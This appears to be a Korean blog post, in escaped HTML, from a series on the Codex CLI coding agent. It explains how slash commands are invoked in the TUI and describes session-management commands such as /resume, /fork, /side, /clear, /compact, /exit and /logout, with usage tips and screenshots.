&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화&lt;/a&gt; &lt;span style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot;&gt;Part 7: 마이그레이션 (현재 글)&lt;/span&gt; &lt;a style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 용어 미리 보기 박스 --&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffd700; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 편에서 처음 나오는 용어 미리 보기&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 22px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;슬래시 명령(slash command)&lt;/b&gt;: Codex TUI에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt;로 시작하는 인터랙티브 명령. 채팅 메시지가 아니라 TUI 동작을 직접 제어한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;popup&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt;를 입력하면 composer 위에 뜨는 명령 자동완성 창. 화살표로 선택, Tab으로 큐잉, Enter로 즉시 실행한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;큐잉(queueing)&lt;/b&gt;: 현재 턴이 끝나기 전에 다음 명령을 미리 등록해 두는 동작. Codex가 응답 중에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/clear&lt;/code&gt; 같은 명령을 미리 예약할 때 쓴다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;feature 플래그(게이트)&lt;/b&gt;: 일부 명령은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[features]&lt;/code&gt; 테이블의 특정 키가 켜져 있어야만 동작한다. 사용 전에 게이트 조건을 함께 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;[공식 문서 미등재]&lt;/b&gt;: 소스 코드나 릴리즈 노트에서만 확인되고 공식 slash-commands 페이지에 올라오지 않은 명령. 동작&amp;middot;인터페이스가 버전마다 다를 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;슬래시 명령 기본기 &amp;mdash; popup&amp;middot;큐잉&amp;middot;별칭&lt;/li&gt;
&lt;li&gt;세션 관리 (8개): /new, /resume, /fork, /side, /clear, /compact, /exit, /logout&lt;/li&gt;
&lt;li&gt;모델&amp;middot;승인&amp;middot;권한 (5개): /model, /fast, /permissions, /sandbox-add-read-dir, /experimental&lt;/li&gt;
&lt;li&gt;도구&amp;middot;맥락 (5개): /mention, /mcp, /plugins, /apps, /agent&lt;/li&gt;
&lt;li&gt;코드 작업 (4개): /init, /diff, /review, /plan&lt;/li&gt;
&lt;li&gt;진단&amp;middot;디버그 (4개): /status, /debug-config, /feedback, /copy&lt;/li&gt;
&lt;li&gt;UI&amp;middot;UX&amp;middot;테마 (4개): /theme, /title, /statusline, /keymap&lt;/li&gt;
&lt;li&gt;게이트&amp;middot;조건부 명령 (4개): /goal, /personality, /ps, /stop&lt;/li&gt;
&lt;li&gt;공식 미등재 명령 (8개): /rename, /raw, /skills, /approve, /realtime, /settings, /collab, /setup-default-sandbox&lt;/li&gt;
&lt;li&gt;부록 A &amp;mdash; config.toml 키 사전&lt;/li&gt;
&lt;li&gt;부록 B &amp;mdash; CLI 플래그&amp;middot;codex exec 사전&lt;/li&gt;
&lt;li&gt;마무리 &amp;mdash; 안전 기본값 + 캡쳐 체크리스트&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 1 ===== --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 슬래시 명령 기본기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령 목록을 보기 전에, TUI에서 어떻게 명령을 불러서 실행하는지 흐름부터 잡아두자. 크게 세 단계다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;1.1 popup 띄우고 명령 고르기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;composer(메시지 입력란)에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt;를 입력하면 명령 popup이 열린다. 키워드 일부를 더 치면 목록이 좁혀지고, 화살표로 골라 Enter로 즉시 실행하거나 Tab으로 예약할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;639&quot; data-origin-height=&quot;183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/epY9qr/dJMcabRI2lF/fbkUkdqBZs8ohNnt2SxqIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/epY9qr/dJMcabRI2lF/fbkUkdqBZs8ohNnt2SxqIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/epY9qr/dJMcabRI2lF/fbkUkdqBZs8ohNnt2SxqIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FepY9qr%2FdJMcabRI2lF%2FfbkUkdqBZs8ohNnt2SxqIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;639&quot; height=&quot;183&quot; data-origin-width=&quot;639&quot; data-origin-height=&quot;183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;autoit&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# composer에서
    /mod      &amp;larr; '/'로 popup, 'mod' 입력 시 /model이 위로 올라옴
    &amp;uarr;/&amp;darr;       &amp;larr; 화살표로 항목 이동
    Enter     &amp;larr; 즉시 실행&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 주제 전환 시 이전 맥락 끊고 새로 시작.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/resume &amp;mdash; 이전 세션 이어 받기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;picker가 열려 최근 세션 목록을 보여준다. 어제 작업하다 만 세션을 그대로 이어가고 싶을 때 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex resume --last&lt;/code&gt;로 한 단계 건너뛰는 방법도 있다.&lt;/p&gt;
&lt;pre class=&quot;hsp&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/resume&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 중단된 작업 이어서 컨텍스트 복구.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7Q5Gj/dJMcabYyTqR/YOj2wYcblvGGqiwe6FFblk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7Q5Gj/dJMcabYyTqR/YOj2wYcblvGGqiwe6FFblk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7Q5Gj/dJMcabYyTqR/YOj2wYcblvGGqiwe6FFblk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7Q5Gj%2FdJMcabYyTqR%2FYOj2wYcblvGGqiwe6FFblk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;282&quot; height=&quot;80&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YWCmE/dJMcaa6qlYI/rq19WWk27Pq5PUTeZ4s8k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YWCmE/dJMcaa6qlYI/rq19WWk27Pq5PUTeZ4s8k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YWCmE/dJMcaa6qlYI/rq19WWk27Pq5PUTeZ4s8k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYWCmE%2FdJMcaa6qlYI%2Frq19WWk27Pq5PUTeZ4s8k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;354&quot; height=&quot;141&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/fork &amp;mdash; 현재 스레드 분기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 대화 기록이 정상적으로 저장된 상태라면, 현재 스레드를 새 분기로 복제한다. 본 흐름을 망가뜨리지 않고 &quot;이 부분을 다르게 가면 어떻게 될까?&quot;를 시험해볼 때 유용하다. 다만 앱 서버가 대상 스레드의 rollout 기록을 찾지 못하면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;no rollout found for thread id&lt;/code&gt; 같은 오류가 날 수 있다. 이 경우 명령 부재가 아니라 로컬 세션 인덱스/앱 서버 상태 문제로 보는 편이 맞다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/fork&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 기존 맥락을 보존한 채 분기 실험. 실패하면 터미널에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex fork --last&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex fork &amp;lt;SESSION_ID&amp;gt;&lt;/code&gt;로 확인.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/side &amp;mdash; 보조 대화 열기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인 스레드를 그대로 둔 채 별도의 보조 창을 띄운다. &quot;이 함수 의미만 잠깐 물어보고 싶다&quot; 같은 곁가지 질문을 메인 흐름에 흘리지 않는 용도다. ESC로 닫으면 메인 스레드로 돌아간다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/side&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 메인 흐름 건드리지 않고 버그 원인 가설 검증(로그 추가, 임시 패치)에 유용. 본선 컨텍스트 오염 방지 목적.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 진행 중 /side&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tXUo7/dJMcaja6lRz/ZrcvDsR2J4sU54zp1jC361/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tXUo7/dJMcaja6lRz/ZrcvDsR2J4sU54zp1jC361/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tXUo7/dJMcaja6lRz/ZrcvDsR2J4sU54zp1jC361/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtXUo7%2FdJMcaja6lRz%2FZrcvDsR2J4sU54zp1jC361%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;126&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 보조 대화창 열림&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1800&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbsMW9/dJMcadIJgTF/biyXY2dpYpkLiJcax2f7z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbsMW9/dJMcadIJgTF/biyXY2dpYpkLiJcax2f7z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbsMW9/dJMcadIJgTF/biyXY2dpYpkLiJcax2f7z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbsMW9%2FdJMcadIJgTF%2FbiyXY2dpYpkLiJcax2f7z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1800&quot; height=&quot;164&quot; data-origin-width=&quot;1800&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- esc를 통해 해당 보조 대화창을 종료 하면 기존 대화창으로 복귀 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;278&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8rzor/dJMcagFAmMj/Lyqgab5URfjiVWdyc0OSS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8rzor/dJMcagFAmMj/Lyqgab5URfjiVWdyc0OSS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8rzor/dJMcagFAmMj/Lyqgab5URfjiVWdyc0OSS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8rzor%2FdJMcagFAmMj%2FLyqgab5URfjiVWdyc0OSS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;462&quot; height=&quot;135&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;278&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/clear &amp;mdash; 화면 초기화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 스레드를 유지한 채 터미널 화면과 대화 컨텍스트를 정리한다. 화면이 너무 길어져 가독성이 떨어지거나 컨텍스트 누적으로 모델이 산만해질 때 사용한다. 새 스레드를 통째로 여는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/new&lt;/code&gt;와는 동작 범위가 다르다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/clear&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 컨텍스트 누적으로 판단 흔들릴 때 초기화. 초기화 전 TODO&amp;middot;결정사항 3줄 요약을 남기는 습관 권장.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/compact &amp;mdash; 대화 축약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;긴 대화를 요약해서 압축한다. AI 모델은 한 번에 기억할 수 있는 대화 길이(컨텍스트 윈도우)에 한계가 있는데, 대화가 너무 길어지면 응답이 느려지거나 앞 내용을 놓치기 시작한다. 그럴 때 이 명령으로 핵심만 남기면 된다. 압축된 요약은 새 메시지 형태로 들어가고, 원본 대화는 백그라운드에 보존된다.&lt;/p&gt;
&lt;pre class=&quot;dos&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/compact&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 긴 대화 토큰 줄여 핵심만 남길 때.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXcvXq/dJMcahkcdh9/XSh8UP9xSgRVV2ayZeKRNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXcvXq/dJMcahkcdh9/XSh8UP9xSgRVV2ayZeKRNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXcvXq/dJMcahkcdh9/XSh8UP9xSgRVV2ayZeKRNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXcvXq%2FdJMcahkcdh9%2FXSh8UP9xSgRVV2ayZeKRNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;168&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;206&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brInzG/dJMcahYKda0/zLhwFSXI409soSnfdKuJUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brInzG/dJMcahYKda0/zLhwFSXI409soSnfdKuJUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brInzG/dJMcahYKda0/zLhwFSXI409soSnfdKuJUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrInzG%2FdJMcahYKda0%2FzLhwFSXI409soSnfdKuJUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;206&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;206&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/exit &amp;middot; /quit &amp;mdash; 세션 종료&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 명령은 완전히 동일하다(공식 docs에서 alias로 명시). 작업을 마치고 TUI를 닫을 때 쓴다. 키보드 단축키 Ctrl+C와 달리 정상 종료 경로를 타므로 세션 메타데이터가 깔끔하게 저장된다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/exit
    # 또는
    /quit&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 현재 세션 작업 마감하고 종료. 종료 전 /diff&amp;middot;미커밋 여부 확인 후 실행(&quot;끝냈다&quot; 착각 방지).&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/logout &amp;mdash; 로그아웃&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장된 인증 자격을 모두 제거한다. 다른 계정으로 전환하거나 공용 노트북에서 흔적을 지워야 할 때 사용한다. 재로그인은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex login&lt;/code&gt;으로 다시 시작한다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/logout&lt;/code&gt;&lt;/pre&gt;
